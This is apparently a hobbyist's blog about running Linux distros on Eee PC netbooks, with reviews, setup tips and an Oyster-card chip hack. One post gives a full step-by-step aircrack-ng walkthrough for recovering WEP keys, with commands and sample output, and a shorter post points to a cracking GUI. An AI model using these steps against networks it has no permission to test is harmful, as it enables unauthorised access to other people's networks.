You will need a pre-pay Oyster, some nail varnish remover and a jar with a lid.
A quick trip to a newsagent and Poundland (gotta love that place!) should furnish you with what you need.
I paid £4 (you have to top it up when you buy it, so I stuck a pound on) and got two bottles of nail varnish remover and a jar for £3.
(I already had an Oyster, but I wasn't about to risk losing my monthly travelcard for this slice of foolishness...)

The next step is to put the nail varnish remover and the card into the jar and seal it. Then leave it to soak.

Two hours later (and it need to be at least two hours), it should be ready to come out.

You can see here how the outer layers have come away completely, leaving the important bit, the layer with the chip and aerial intact. Throw the other bits away.

The chip is at the top right and the red lines running around the edge are the aerial which is attached to the chip. I don't know much about these things, so I'm going to assume the aerial needs to be kept intact. The aerial wire is about as thick as a thick hair, so be careful when picking the plastic layer away. If you left it to soak for long enough, it should come away fairly easily. If not, you'll struggle a bit.

When you've finished, you should be left with a chip with a fair bit of red wire attached to it.
Sorry, it's a really bad picture...

The final step is to remove the back of your phone and tape the chip and aerial to the inside of the rear casing and put it back on your phone.

As you can see, I've avoided putting the aerial round the camera part although I'm sure with a little hard work and attention to detail, the aerial would go all the way round the outside edge.
Does it work? Um, I don't know yet! I'll post the result as soon as I know...

What to try next?

2010-05-31T19:58:00.006+01:00

I've been a bit quiet on the "let's-try-another-distro" front lately. This is largely due to the fact that my Eee 900 died, the missus got an Eee 1005P (she used my 900 for her work stuff and had to get something) and I had to save up for my 1005HA.
And on top of all that, I got sidetracked by my new Nokia N900!

Anyway, after getting used to using Ubuntu, she wanted Linux on her new machine and the only distro that worked properly out-of-the-box was Jolicloud.
I tried OpenSuse, Mandriva and Eeebuntu 4 (all worthy distros) but just kept running into issues that I really couldn't be bothered with. This machine needed to be up and running quickly and I knew Jolicloud would work.
I installed it using the Jolicloud Express Installer which meant booting into Windows Seven, going to the Jolicloud site and folowing the instructions. So it's a dual boot system but, since the install, Windows hasn't been fired up once. Not once. Which says a lot for the Linux experience where casual users are concerned.
Adam McDaniel's involvement in developing Jolicloud's kernel has ensured a smooth ride for the 1005P, which is exactly what was needed, and after installing Wine (needed to run the MS Snapshot Viewer) the only other thing to do was to use the desktop switcher thing to lose the NBR interface. Et voila! One happy bunny!

Now, as much as I love Jolicloud, the first thing I did with my 1005HA was to install Ubuntu 10.04. Windows 7 didn't even see daylight.
For me, the latest Ubuntu works as well as I would expect it to and it does exactly what I want it to.

But all this business with stuff actually working is a bit boring and I'm finding myself wishing I had something to fiddle with (oo-er missus!).
So, Meego 1.0 is on one SD card (I'm really hoping Meego gets an unofficial release on the N900) and Igelle on another.
To be honest, I don't expect to get much mileage out of either of them, so...
Let the fiddling and frustration commence!

Linux luggage!

2010-05-17T19:30:00.001+01:00

R.I.P My 900

2010-03-21T13:37:00.002Z

Well, it's finally happened. My 900 has died. It looks like there's been a short circuit and it won't power up, charge or even attempt to light any of the LEDs.

We had some good times together and now it's spirit has gone to that great mainframe in the sky.
If anyone wants it's body for spares and you are based in the UK, get in touch.

Luckily I have my Nokia N900 to carry on the good work and, hopefully, by next week I'll have a 1005HA. :)

So my blog will carry on, business as usual, but with a new look at everything, starting with Ubuntu Lucid being installed when it arrives.

Ultra Easy WEP Cracking.

2010-01-04T21:16:00.004Z

Please use the following advice with care and remember that it is illegal to crack WEP passwords without the owner's express permission.

Okay, so I've got my Eee PC 900 which is currently kitted out with Ubuntu 9.10.
And then I added Aircrack-ng:

sudo apt-get install aircrack-ng

And it was good.

But it got better when I downloaded a GUI for it from here, extracted it to my home folder and...

...now I have no need of Backtrack!

I should also point out that this worked on my brother's 701 4GB and my other brother's 1005HA.

Um, and that's it. Short and to the point.

Eldy - Computing For The Mature User.

2009-11-21T15:21:00.029Z

For the purposes of this test, I downloaded and installed Linux Mint 8 RC1 onto an SDHC. I also dressed up as as an old lady.

I decided to take a look at Eldy after I saw a report on the BBC news about computing for the elderly, which mentioned the SimplicITy Project. A couple of days later a post appeared on the EeeUser forum asking for advice on a PC for a 70 year old lady and after mentioning the SimplicITy Project, I ended up trying to find out where the interface came from. In the middle of all this, I wrote a short review of Simplicity Linux, which is not the same thing at all.

The Eldy website is here and you can get either the tar.gz package or the .deb package which, to be honest, is best avoided. It's out of date and because it puts the package into the root file system, you need to run it as root.
So, download the tar.gz, right click it, Extract Here and then move the resulting folder into your home folder.

To run it, open a terminal and enter:

java -jar /home/yourusername/eldy/eldy.jar

When it starts, it won't be in fullscreen and there's some business to take care of. First choose your language. Then, for the purposes of this test, I'm a beginner. With a blue rinse.

Then it's time for some personal details. This is about as easy as it gets. Basically, it sets up an email address @eldy.org and gives you a chat name. You can set it up to use another address later on but, for the purposes of this test, I'll go with the flow. And suck on a Werthers Original while I'm at it.

That was fairly painless. Unlike my hip replacement.

What's next? Oh, yes. The Square. This is where it all takes place and no matter where you are in Eldy, the back button will always bring you back here. I had to set my panel to autohide to be able to see the Back To The Square button. This app isn't really suited to a nine inch screen, however I wouldn't expect older people, who's eyesight is generally poor, to use netbooks. I'll hook up to the telly later and see how it looks.

The Square contains six big buttons for single click access to your email, web browser, chat, video, profile and "useful", behind which is a text editor and a file browser. A help button (which brings up a helpful guide to stuff) and an exit button.

My Profile lets you tell everyone who you are, what you enjoy and you can post your current status.

Chat is easily set up. You just have to agree to the following...

Email really is the easiest thing I've ever used. It's achingly simple.

The web browser is a simple as it gets and because I'm running Mint, I don't need to add any other stuff, i.e. Flash.

Eldy Tv is a quick launch app for watching video from a variety of sites. The only issue here is that it isn't set up for the UK. We can't watch Hulu here and I don't speak Italian.

"Useful" could probably do with being renamed to something like "My Files" or something. I'm not sure why they included a notepad. Yes, it coud be useful for writing letters, but that's what email's for, surely, and you can't open or create Word documents with it. Still, I'm sure they've got their reasons.

Once you spend maybe an hour with Eldy, you forget that you've got Mint running underneath it. It really is superb. It's look and feel are reminiscent of the Xandros distro that came with the Eee PCs, but with bigger buttons and text. And because it's on top of Mint, it's simple enough to switch back to the regular interface and do stuff you can't do on Eldy.

So, it's easy to set up, achingly simple, good looking and, dare I say, for something aimed squarely at the elderly, cool.

Highly recommended.

Adding The Good Stuff To Ubuntu 9.10

2009-11-20T19:59:00.004Z

Installing codecs can be a challenge for the new user, so here's a quick(ish) fix.

First, we need to add the Medibuntu repository to our repository list. Open a terminal and cut and paste the following:

sudo wget http://www.medibuntu.org/sources.list.d/`lsb_release -cs`.list --output-document=/etc/apt/sources.list.d/medibuntu.list; sudo apt-get -q update; sudo apt-get --yes -q --allow-unauthenticated install medibuntu-keyring; sudo apt-get -q update

Then, to add the codecs, fonts, Java, Flash, VLC, DVD playback and other non-free stuff that make the Ubuntu experience all the more lovely, open a terminal and cut and paste the following:

sudo apt-get install non-free-codecs libdvdcss2 gxine libxine1-ffmpeg vlc

It's quite a big download (~200mb) but it's worth it.

Happy days! :)

Simplicity Linux

2009-11-16T14:43:00.020Z

Simplicity Linux (not to be confused with the recent arrival, SimplicITy Project) is a Puppy based distro.

A recent appearance in Distrowatch's "Distributions on the Waiting List" caught my eye, probably because of the hype surrounding SimplicITy Project (in a subliminal advertising kind of way), and a download ensued at once.

The creator claims that it came about "to make one laptop accessible for my father who was recovering from a hip operation".

Which was nice.

The download was called Simplicity Netbook 9.10 (after the Ubuntu release name), it's 175mb and uses the 2.6.29.1 kernel. The next release is due in January 2010 which, according to the site, will have the 2.6.30.1 (or later) kernel.

And it's creator is a mad Englishman working out of his conservatory (possibly a shed), somewhere in rural England.

I'm thinking Caractacus Potts.

What's in the bag?

So, one download later, I created a live USB (4GB partitioned as 2gb Fat32 and 2gb Ext2) using Unetbootin on my Ubuntu install, rebooted and after selecting my mouse, keyboard and display type, a rather nice splash screen appeared (shame I haven't got a screenshot, it is very nice indeed) followed by the desktop.

First, I want to connect to my wireless, wep encrypted network. After all, what's a netbook with a netbook distro without internet? Now, I went through this a couple of times before I wrote this and ended up using the following solution.

This is what the desktop looks like:

Note the widgets on the right of the screen. What's really needed is a wireless widget. I know this because having connected previously, there was no indication that I was connected leaving me in a state of doubt as to whether I was or not. So, double click on the Widgets shortcut to bring up this screen:

Then, highlight Wireless on the left and hit the green + icon to add it. Then highlight the Weather and Tasks on the right and hit the red - icon to remove them, otherwise you won't be able to see the new Wireless widget on the desktop. And then hit Apply and close the window.

Your desktop should now look like this:

See the Internet icon? If you double click on it a window with some shortcuts appears, one of them being Network Manager. I tried using this to connect to my network, but for all it's configuration windows and boxes, there wasn't a connect button and I ended up closing it, a bit baffled as to how to connect. I then opened the menu, found, pWirlessNow and connected with that. To make sure of it, I rebooted without saving anything and just went straight to pWirless, which worked.

So, my advice is to got to the Menu and find the pWireless Wireless Scanner...

Choose your network and hit the Connect button, enter your encryption key (again) and a small window showing your ip address should appear. Close and quit the wireless scanner.

And there we are. The wireless widget now indicates a working connection.

The desktop, despite the very nice background, is a little too busy for me. The desktop shortcuts get a little lost. Making them bigger, having a plainer background would help. I'm going to use this one, move the icons over a bit and switched the Xfce style from Vista-ish to Xfce Dusk.

It may be a little dark for some, but I like it. I'd like to lose the widgets, too, and have a calender and battery and wireless indicators in the tray, but there you go.

So, what else is in the bag?

You get Opera (lightning quick!), quick access to the Meebo online chat client (which opens in it's own window, like a Prism application), Transmission, VLC, Abiword and Gnumeric. There is also a button for Google Docs, but it's broken.

Then there is all the stuff you'd get with a regular puppy install, much of which I have never, ever used. It's all a bit overkill for me. For instance, under the Multimedia menu entry, there are two CD rippers, two audio mixers, two audio players and two multimedia players and then another seven apps.

If Simplistic Linux is going to live up to it's name, much of this is going to have to go. I see nothing simplistic in having menu entry for a floppy disk formatter in this day and age.

Is there anything in the bag for the 900?

Well, Of the hotkeys, only Fn+F3/F4 (brightness) work. Wireless works well (I haven't tested wired but I'm pretty sure there won't be any problems with it). Sound and video (tested with full screen YouTube) are both fine, but I couldn't see any webcam apps, so that remains untested.

So, it's not for Eee users who want sleep/suspend/monitor switching, leaving it for users who want something that runs quickly and has working wireless.

Do I really want this bag? Is it me?

I really wanted to like this and have lots of good things to say about it. But, in it's current state, it's just not doing it for me. I like the thinking behind it, "keep it simple", but it just isn't anywhere simple enough. This isn't entirely the fault of the creator. Puppy has always been too much for me, it's menus are horrible with far too much unwanted stuff and it feels disjointed. Many Puplets work well, Pupeee (Puppy for the Eee) and BrowserLinux (Puppy with Firefox and very little else) are good examples of well thought out distros which hit their targets time and time again.

Simplistic Linux needs to slim right down, simplify the desktop and decide whether or not it's going to go down the cloud computing route. I'm sure this is what's going on in the mind of this shed-based maniac's mind, but time will tell.

That said, I'll hold on to Simplicity and I'll eagerly await the next release.

Boot Time Reduced!

2009-11-12T14:40:00.004Z

After writing my last post I decide to install the Koala onto my SSD, replacing Mint 7 in the process.

It was hard saying goodbye to Mint 7 as it had been a rock solid distro and it is still the distro that I would recommend to new users. The Koala's Eee 900 compatibility was just to good to pass up, however, and after warning the missus that it was all going to change, I went ahead with the install.

The install went without incident and, not surprisingly, my boot time has been reduced from approximately two and a half minutes to approximately forty seconds.
I did mention that I had seen forum posts from other 900 users who were having shorter boot times than mine and it appears that all of those users had installed to SSD rather than SDHC as I did.
A quick perusal of the Ubuntu forums pretty much confirmed that users who install to SDHC are suffering extremely long boot times. But it seems to be a bit of a mystery as to quite what's going on to cause this.

Ubuntu 9.10 - The Karmic Koala

2009-11-06T09:29:00.004Z

I've been using Canonical's latest Ubuntu, the Karmic Koala, since Alpha 6 and have now installed the full release.

Don't Believe The Hype!

First things first. There seems to be a general feeling that this is the worst Ubuntu release to date, Canonical's very own "Vista" moment. I've heard very little in the way of positivity on the forums, but this may be due to the fact that when people are unhappy they become quite vociferous and the happy people tend to keep their mouths shut.

I am one of the happy crowd because it works very well for me on my Eee PC 900.

Restrained commentary...

However, it has to be said that this time around Canonical may have attempted too much in too little time and what was promised hasn't been delivered. The new GRUB isn't finished, nor is the new Ubuntu Software Centre. The decision to replace Pidgin with Empathy, just as Pidging is making good progress with voice and video calling, is a strange one. The new boot splash is all over the place. And the list goes on...

This is the last release before the next Long Term Support release, Lucid Lynx, arrives and I'm begining to believe that Canonical should strongly consider moving away from the six monthly release cycle in favour of a yearly snapshot and an LTS every two years.

Stupid rant...

This would do away with the six monthly outburst of stupid forum questions and blog commentary from users who couldn't wait to upgrade to the latest version and then find that it doesn't live up to their expectations.

That's a snapshot release of a free operating system, you dolt. What exactly did you expect?

Stick with the stable releases and give us all some peace. Please.

Anyway...

How does the Koala fare on the Eee 900?

The first thing to note is that I'm running the regular desktop version from a 4GB SDHC so while it's not quite as quick is it should be, it's quick enough.

I removed Compiz, Open Office (replacing it with just the Open Office Writer), Computer Janitor (replaced with BleachBit and Ubuntu Tweak) and F-Spot (replaced with Picasa).
Then I installed all the codecs I need, Wine (I need MS Snapshot Viewer), Audacious, EasyTag, VLC and Unetbootin.
I then ran BleachBit and used the Applications Package Cleaner in Ubuntu Tweak to clean up any unwanted/unneeded packges.

And so to boot.

And this is my only real gripe...

Two minutes and twenty five seconds from GRUB to desktop.

Pretty bad. But at least it can only get better.

Once it's finished booting, it's lovely. Really. The new tray icons, network manager panel and desktop backgrounds are excellent. It still feels like a work in progress what with the abundance of brown and orange everywhere else, but it's a step in the right direction.

All of my hardware works well (and has done since Alpha 6) and the new video drivers are excellent.

Most of the hotkeys are supported:

Fn+F1 works perfectly, rejoining my wireless network on return from sleep.
Fn+F2 also works perfectly.
Fn+F3 + F4 (brightness down/up ) work and an OSD appears.
Fn+F5 works. I hooked up the TV and cycled through some different modes. It needs configuring somewhere along the line, but it does work.
Fn+F6 is untested. I don't really know what it's supposed to do.
Fn+F7 + F8 + F9 (sound mute/down/up) work and an OSD appears.

I've plugged in my HP printer, my Creative mp3 player, PSP, a Sony camera and numerous other bits and bobs. All detected, mounted and, in the case of the printer, configured.

Conclusion?

I've yet to encounter any showstopping issues. The boot time should be considered a major issue, but now that suspend is working so well, I don't bother shutting down anymore. I've read forum posts from other 900 users who have much shorter boot times, so it may just be me.

All in all, for me, on this machine it's an excellent release and I look forward to trying out the Lucid Lynx next year.

The trouble with .snp files.

2009-09-22T10:26:00.006+01:00

Today I received a file with the .snp extension.

Never had one of those before... and a quick search on Google revealed all.
"The SNP file format is used by Microsoft Access to store Report Snapshots in a single file which can be viewed and printed by the Microsoft Snapshot Viewer, available as a free download from Microsoft (runs on Windows only)." See the Wiki.

As a Linux user, how do you open it?

I tried to open it with the very powerful and increasingly popular, Open Office suite. But the format wasn't recognised. Which was unusual.
I then tried to open it online with the Google Docs application and also the other popular online office suite, Zoho, but it was an unsupported format in both.

Can you convert it to a format which is easily read?

Converting it to .pdf proved unsuccessful with every one of the online format converters I tried. There are, apparently, a couple of commercial packages that will do it, but they are Windows only applications.

In fact, I couldn't find a single native application for Linux that supported the .snp format.
And then, after much research, I discovered that this was the same situation for Mac OS users, too.

What would a Windows user do?

The average user would receive the file, double click it and then wonder why it won't open.
A Windows user, even if they have Access installed, would have to download and install the MS Snapshot Viewer. This is because Access, although it can produce .snp files, cannot open .snp files. The Snapshot Viewer does exactly what it says on the tin and it cannot convert files to other formats.
This is bizarre. Why enable the creation of a file and not provide a built in solution for viewing it?

So, is there a workaround for non Windows users?

Of course there is. Basically, it involves using an emulator called Wine to run the MS Snapshot Viewer. A good tutorial can be found on the Ubuntu forums, here. This worked well for me, but toying with the command line isn't for everyone.
I don't know enough about using Wine on Mac OS and I couldn't find anything to confirm whether or not this tutorial would be of any help to Mac users.

Can the office help? Is there another way?

The office can certainly help, but it requires a little effort on their part.
An add-on is available for Access that allows the direct printing of .pdf files, so cutting out the unwanted hassle of producing .snp files and then converting them to .pdf. It can be found here.
It has also been suggested that exporting the reports as html may work, though this is unlikely to produce the desired results.

Why do I keep banging on about .pdf?

Files with the .pdf extension can be read by an extraordinary number of applications on more operating systems and devices than I care to mention. They can also be opened by most of the online office suites, which is a lifesaver for those who prefer to use one of the ever expanding number of mobile internet devices.

As an instance, and I'm using Google as an example not a rule, the file with the .pdf extension is mailed to my Gmail account. I could use then use the nearest Linux/Mac/BSD/Windows machine or net enabled hand held device to access my account and then open the file in Google Docs. Easy.

As cloud computing and open source operating systems mature and their user numbers increase, it's important to be aware of the end user's requirements and limitations.

Jolicloud Gets Spotified With A Flashy Chrome Finish.

2009-09-15T08:11:00.008+01:00

I installed Jolicloud a little while ago to an 8GB stick and have dipped in and out of it on a fairly regular basis. And now it's getting more use than Mint.

And all it took was some updates.

The first one to catch my eye was the appearance of Spotify, the music streaming service. Jolicloud had obtained invitations for the free version, supported by ads, for Jolicloud users and a one click install was added to the applications tab on the dashboard. It's not a native version, it runs under Wine, but it's still a step in the right direction. Purists may disagree. New users will be happy.

The other update introduced the Google Chrome browser with Flash already added. Yes, it's still nowhere near ready, but I've had no problems while writing this entry and I can watch flash video (YouTube, BBC iPlayer and Channel 4's 4OD service) in full screen with none of the choppiness that seems to blight a great many other distros at the moment. It starts almost instantly and it kicks FireFox's arse in the speed department.

I keep reading forum posts that say Jolicloud is just Ubuntu NBR with codecs, netbook drivers, Prism etc. added.

I say Jolicloud is greater than the sum of it's parts.

Backtrack 3 Final On The 900

2009-09-09T20:51:00.002+01:00

This is a simple guide to cracking WEP.

First off, this guide is for the EeePC 900 using BackTrack 3 Final, live, from a USB drive. I cannot guarantee that it will work with your machine.

Second, I am not an expert, so don’t start firing questions at me.

Third, this guide is a simplified version of several tutorials I have read.

Fourth, I have used this guide successfully a number of times, so I know it works for me.

Fifth, type carefully. One tiny mistake = Much hair pulling.

Lastly, cracking other people’s WEP keys and using their bandwidth without permission is theft and is illegal in the UK and many other countries.

So don't do it.

Please, use this guide wisely…

__________________________________________________________________

__________________________________________________________________

LET’S FIND A NETWORK TO CRACK!!

__________________________________________________________________

Open a terminal. Enter:

airodump-ng start ath0

The reply should look similar to this:

CH 8 ][ Elapsed: 8 s ][ 2009-06-09 12:11

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:22:3F:37:AC:0E 2 3 0 0 6 54 WPA TKIP PSK madangupta
00:1F:9F:43:78:65 3 4 0 0 11 54 WEP WEP Thomson12BAE8
00:1A:C4:D0:26:A1 6 6 0 0 5 54. WEP WEP BTBusinessHub-246
00:1A:C4:D0:26:A3 6 9 0 0 5 54. WPA TKIP PSK BT Fusion-3246
00:14:7F:DC:1A:13 24 22 0 0 6 54 WEP WEP Johnsrouter
00:1D:68:09:A6:93 20 23 0 0 1 54 WEP WEP BTHomeHub-17CE

BSSID STATION PWR Rate Lost Packets Probes

Then note the details of the network you want to use. Remember, it’s WEP encryption we’re looking for. A PWR rating of 20 and above is usually strong enough for packet injection to work, more of which later. The details you will need are the ESSID, BSSID and Channel Number.
Then hit Ctr+C to stop airodump.

The network I am going to be attempting to crack is my own. Because it's legal.

Cracking anything other is illegal.

So don't fuck about.

The following are my details.
ESSID: Johnsrouter
BSSID: 00:14:7F:DC:1A:13
Channel: 6
My wireless card’s Mac address: 00:0F:B5:88:AC:82 (you will find yours later).

__________________________________________________________________

__________________________________________________________________

LET’S GO!!

__________________________________________________________________

STEP 1 - Start the wireless card in monitor mode on the same channel as the access point.

Open a terminal. Enter:

airmon-ng stop ath0

The system should reply:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter:

iwconfig

The reply should look similar to this:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

Now, enter the following command to start the wireless card in monitor mode on channel 6.:

airmon-ng start wifi0 6

Replace the 6 with whatever channel your access point is using.

The reply should look similar to this

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Enter:

iwconfig

The reply should look similar to this:

lo no wireless extensions.

wifi0 no wireless extensions.

eth0 no wireless extensions.

ath0 IEEE 802.11g ESSID:”" Nickname:”"
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Here, you should make a note of your machine’s mac addresss. You can see mine above: 00:0F:B5:88:AC:82

__________________________________________________________________

__________________________________________________________________

STEP 2 - Test Wireless Device Packet Injection

Now to make sure you’re able to use packet injection.

Enter:

aireplay-ng -9 -e Johnsrouter -a 00:14:7F:DC:1A:13 ath0

Where:
-9 means injection test
-e Johnsrouter is the wireless network name (replace it with yours)
-a 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)

The reply should look similar to this:

09:23:35 Waiting for beacon frame (BSSID: 00:14:7F:DC:1A:13) on channel 6
09:23:35 Trying broadcast probe requests…
09:23:35 Injection is working!
09:23:37 Found 1 AP

09:23:37 Trying directed probe requests…
09:23:37 00:14:7F:DC:1A:13 - channel: 6 - ‘Johnsrouter’
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39 30/30: 100%

On the last line it says 100%. You need a high percentage for successful injection.
If it’s quite low, you may be too far from the access point for injection to work.

__________________________________________________________________

__________________________________________________________________

STEP 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated.

Open a new terminal.

Enter:

airodump-ng -c 6 –bssid 00:14:7F:DC:1A:13 -w output ath0

Where:

-c 6 is the channel for the wireless network (replace it with yours).
–bssid 00:14:7F:DC:1A:13 is the access point’s MAC address (replace it with yours). Yes, it is a a double hyphen for this one.
-w capture is file name prefix for the file which will contain the IVs.

While the injection is taking place (later), the reply should look similar to this:

CH 6 ][ Elapsed: 11 mins ][ 2009-06-09 12:15

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:7F:DC:1A:13 42 100 5240 178307 338 6 54 WEP WEP Johnsrouter

BSSID STATION PWR Lost Packets Probes

00:14:7F:DC:1A:13 00:0F:B5:88:AC:82 42 0 183782

__________________________________________________________________

__________________________________________________________________

STEP 4 - Use aireplay-ng to do a fake authentication with the access point

Open a new terminal.

Enter:

aireplay-ng -1 0 -e Johnsrouter -a 00:14:7F:DC:1A:13 -h 00:0F:B5:88:AC:82 ath0

Where:

-1 means fake authentication
0 is the reassociation timing in seconds
-e Johnsrouter is the wireless network name (replace it with yours)
-a 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)
-h 00:0F:B5:88:AC:82 is our card MAC addresss (replace it with yours)

The reply should look similar to this:

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful

_________________________________________________________________

_________________________________________________________________

STEP 5 - Start aireplay-ng in ARP request replay mode

Open a new terminal.

Enter:

aireplay-ng -3 -b 00:14:7F:DC:1A:13 -h 00:0F:B5:88:AC:82 ath0

Where:

-b 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)
-h 00:0F:B5:88:AC:82 is our card MAC addresss (replace it with yours)

The reply should look similar to this:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets…

You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.

__________________________________________________________________

__________________________________________________________________

STEP 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Open a new terminal.

Enter:

aircrack-ng -z -b 00:14:7F:DC:1A:13 output*.cap

Where:

-z invokes the PTW WEP-cracking method.
-b 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours).

Generally, you will need about 20,000 packets for 64-bit and between 40,000 and 85,000 packets for 128 bit.
This can vary wildly so, be patient.

This output can run to a few pages and it may stop, telling you that it will attempt again.
Again, be patient.

The reply (if successful) should look similar to this:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)

KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

So, the key is:
[ 12:34:56:78:90 ]

Remove the brackets and colons so the key looks like this:
1234567890

and that’s the key you enter when asked for the WEP key by your wireless manager.

Playing With OpenSuse Studio. Barrieluv's Linux.

2009-08-25T12:58:00.004+01:00

Right then.

This is the desktop...

It appears as 800x600 but a click on the Display Settings icon in the tray and it was 1024x600 in a flash.
Wireless is up and running on a WEP encrypted network without a hitch.
The login sound played on startup, so I know the sound is working.
Hotkeys for brightness are working albeit without an OSD.
No hotkeys for volume, though.

Here's Firefox/YouTube...

A little choppy in fullscreen, but I've come to expect that with recent distros.

So, it works. If all I ever wanted to do was browse the 'net, it would do the job and do it well. However, there are other distros that do that job and are much,much smaller. BrowserOS would be one of them.

But that's my fault. I'm sure that if I were to use IceWM it could get smaller. I've no doubt that learning to build a kiosk type thing would be the way to go.

In the meantime, I'm going to look at building an OpenSuse equivalent of my current install. Just because I might learn something from it.

So, my first build, although it does what I built it for, has come as something as a disappointment.

However, I can say quite the opposite of OpenSuse Studio.
It's fantastic. It's fun. It's well engineered, ergonomic and above all it's not scary.
I think my experience shows that no matter what level you're at, you can get stuck into this and not worry about screwing it up.

Build it, test it, tweak it, test it, scrap it and start again.

Over and over until you get it right.

Playing With OpenSuse Studio

2009-08-25T10:30:00.028+01:00

Well, I finally got my invitation to try OpenSuse Studio. For the uninitiated, it's an online app that lets you "roll your own" version of the popular distro, OpenSuse 11.1. Sounds good, don't you think? Let's not forget that I know nothing of building stuff and I'm certainly not what you might call a power user.

This isn't my first run through, by the way, which is why I know that installing Alsa makes the sound work.

I'll build a small one for browsing. I'll use Gnome (because I'm comfortable with it), Firefox, Flash and Java (because they work) and Alsa ('cos I want to hear YouTube as well as watch it).

Let's take a look...

After signing in I'm greeted with this page, where I can choose my template. I'll select Gnome. You can see the other choices, KDE4 would be bigger, IceWM smaller and the JeOS option even smaller.

Scrolling down the page, there are options for Suse Enterprise editions and at the bottom, you have to choose your architecture (32-bit for me) and give your project a name. Hmm.....

So, clicking the Create Appliance button brings us to a welcome screen. Down the left side you can see some details of the project. I'm using 1.01GB of my 15GB work space and the download size currently stands at 290MB. You can click on the "Packages Selected" and start removing stuff if you want to. I won't.

Along the top you can see tabs for Start, Software, Configuration, Overlay Files and Build and I'll work my way though them starting with Software.

On the Software tab you can choose which packages to add/remove and which repositories to have enabled. You can search for packages in the search bar or...

...scroll down the page to see the package groups.

To add Firefox and Flash, I click on the Networking group. And there you can see Firefox and Flash. Click on the add buttons beside them and you're done. Then I added the Alsa stuff (alsa, alsa-plugins, alsa-tools, alsatools-gui and alsamixergui) and Java (java-1_6_0-sun and java-1_6_0-sun-plugin)
Dependencies are automatically taken care of and any conflicts will show up in the left side bar.

Now, I want to add the Packman 11.1 repository which has lots and lots of extras in it and, because I'm using an Eee PC, the Eee Support repository. You search for and add these in exactly the same way as you would the packages.

Once it's all done, go back to the software overview and you can see the changes in the repository and software lists at the top of the screen.

Once it's all done (and that could take some time depending on what you want and how often you change your mind) click on the Configuration tab. Which has more tabs. General, Personalize, Startup, Server, Desktop, Storage & Memory and Scripts.

Lots to do here. Let's start with the Default Locale and Timezone. I'm in the UK...

I'll leave the Network and Firewall settings as they are.

Scrolling down the page, you can add your users and groups. I'll change the user "tux" to "barrieluv" and give me a new password and then I'll add a new user, "kait" and give it a password, too. I'll change the root password as well.

Then go to Personalize...

Here, I can upload a new logo and default wallpaper. The logo doesn't appear on the desktop, but you do get a small "Built with OpenSuse Studio" badge in the corner.
I won't have a logo, just a wallpaper. So I upload the new wallpaper, select it and select the blank box for the logo.

Now on to the Startup tab. Here you can choose your Default Runlevel (I'll leave mine as it is) and add an EULA. Which I have.

The Server tab is next. It just asks if you want to configure MySQL Database. I'll leave it alone.

Then the Desktop tab. No auto login for me and I don't need anything to autostart.

Storage & Memory. Again, no changes for me here.

And finally, Custom Scripts. Of which I know nothing. Blimey, I sound really dumb...

So, with the Configuration tab completed, it's time to move on to Overlay Files. This is wasted on me...

And so to the Build tab.

Here you can decide which format you want your build to have and you can give it a version number, which is handy if you're forever adding to and improving it.
I want to build a Live CD and I'll call it version 0.0.2.
A message appeared in the side bar telling me if I wanted to install my live system, I would have to install the live installer. Clicking on the message did this for me automatically. Which was a nice touch.

After hitting the Build button, a progress bar appeared...

...and in just under eight minutes, my live cd, "barrieluv's linux", was ready for download.

And when it's downloaded, I'll stick it on a USB drive using Unetbootin.

There is the option of Test Drive. Hitting this opens a tab with your distro running live inside it. A little slow perhaps, but a good tool for getting an idea of how things are progressing.

Results and comment to follow.

Android x-86 On The Eee PC 900

2009-08-21T18:47:00.003+01:00

I'm typing this from my 900 running Android, the Google OS which can be found on the G1 and HTC phones, live from a USB stick creted with Unetbootin. Wireless works well and it is incredibly quick.

Just thought you'd like to know!

http://code.google.com/p/android-x86/downloads/list

Jolicloud Is Coming...

2009-08-14T09:52:00.012+01:00

Jolicloud.

Roughly translated as "Beautiful cloud".

And it is.

A mix of Ubuntu, the netbook interface and Jolicloud's web based social OS/browser thing with extra knobs on, it's currently in an alpha state and not quite ready for everyday use. Running live it's easy to get a handle on what's going on.

